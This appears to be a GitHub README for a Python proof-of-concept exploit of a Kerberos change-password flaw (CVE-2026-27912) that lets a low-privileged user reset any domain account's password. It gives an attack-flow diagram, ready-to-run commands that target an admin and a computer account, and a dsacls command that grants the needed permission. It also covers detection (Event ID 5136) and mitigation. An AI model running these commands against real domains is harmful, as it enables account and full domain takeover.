Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

ResetNightmare PoC (CVE-2026-27912)

Python/impacket re-implementation of the ResetNightmare attack disclosed by Shai Laron (Semperis) at Black Hat USA 2026 ("Identity Crisis: Novel Vulnerabilities Leading to Kerberos Downgrade, DoS, and Full Domain Takeover"). The official PowerShell/Rubeus PoC is at Semperis-Community/ResetNightmare; this project reimplements the same attack primitives on top of impacket's existing Kerberos and kadmin/changepw code, for people who'd rather run this from Linux/macOS or integrate it into Python tooling.

What the vulnerability is

  • CVE ID: CVE-2026-27912, CVSS 3.1: 8.0 (AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
  • CWE: CWE-285 Improper Authorization
  • Component: Windows Kerberos (kadmin/changepw, RFC 3244 Change/Set-Password)
  • Fixed in: Windows Server 2012–2025, April 2026 security updates
  • Discovered by: Shai Laron / Semperis

In 2021, Microsoft patched CVE-2021-42287 by adding a PAC_REQUESTOR_SID check to the normal TGS-REQ path, closing the classic "sAMAccountName spoofing" trick (request a TGT under a name that collides with a privileged account, then use it to impersonate that account). ResetNightmare found that the fix was incomplete: the Kerberos Change Password protocol never goes through a TGS-REQ at all, it goes straight from an AS-REQ to an AP-REQ against the kadmin/changepw service. That path never validates PAC_REQUESTOR_SID, so the exact same spoofing trick still works there, letting a low-privileged user with nothing more than write access to a UPN attribute reset the password of any account in the domain, including Domain Admins.

Attack flow

Attacker-controlled account (already has write access to its own userPrincipalName)
        │
        │ 1. LDAP: set own userPrincipalName = TargetAccount's sAMAccountName
        ▼
Kerberos AS-REQ  (cname = TargetAccount, name-type = NT-ENTERPRISE,
                  authenticated with the CONTROLLED account's password,
                  sname = kadmin/changepw)
        │
        │ KDC resolves the enterprise name via userPrincipalName lookup →
        │ finds the CONTROLLED account (because of step 1) → checks the
        │ CONTROLLED account's password → issues a TGT whose cname says
        │ "TargetAccount" but whose PAC (PAC_REQUESTOR_SID) carries the
        │ CONTROLLED account's real SID.
        ▼
Kerberos AP-REQ + KRB-PRIV to kadmin/changepw (RFC 3244), using that TGT
        │
        │ kadmin/changepw trusts the ticket's cname ("TargetAccount") and
        │ never re-checks PAC_REQUESTOR_SID against it → sets TargetAccount's
        │ password to whatever we asked for.
        ▼
TargetAccount's password is now known to the attacker → full takeover
(if TargetAccount is Domain Admin: full domain compromise)
        │
        │ 2. LDAP: restore the controlled account's original UPN (cleanup)
        ▼

Detection: Windows Security Event ID 5136 on the domain controller, watching for a userPrincipalName write where the new value equals an existing account's sAMAccountName.

Install

uv sync

Usage

You already control an account with UPN-write rights on itself

uv run resetnightmare \
  --domain corp.local --dc-ip 10.0.0.10 \
  --target-account jdoe.admin --new-password 'N3wP@ssw0rd!' \
  --upn-user labuser --upn-user-password 'CurrentPassw0rd!'

Resetting a computer account's password

uv run resetnightmare \
  --domain corp.local --dc-ip 10.0.0.10 \
  --target-account FILESRV01 --computer --new-password 'N3wP@ssw0rd!' \
  --upn-user labuser --upn-user-password 'CurrentPassw0rd!'

If --upn-user doesn't already have UPN-write on itself, grant it explicitly first (simulating a realistic delegated foothold):

dsacls "CN=labuser,CN=Users,DC=corp,DC=local" /G "CORP\labuser:WP;userPrincipalName"

All LDAP binds use LDAPS by default (--plain-ldap opts out) since most DCs reject unsigned NTLM binds over plain LDAP with strongerAuthRequired.

Run uv run resetnightmare --help for the full flag reference.

Mitigation

Apply Microsoft's April 2026 security update. Until then, monitor Event ID 5136 for userPrincipalName writes that collide with an existing sAMAccountName, and restrict Self/Everyone write access to userPrincipalName where it isn't needed.

AI Disclosure

Pretty much all of the code was written using Claude, based on a very ugly first personal PoC.

References

About

Python exploit for ResetNightmare

Resources

Stars

12 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages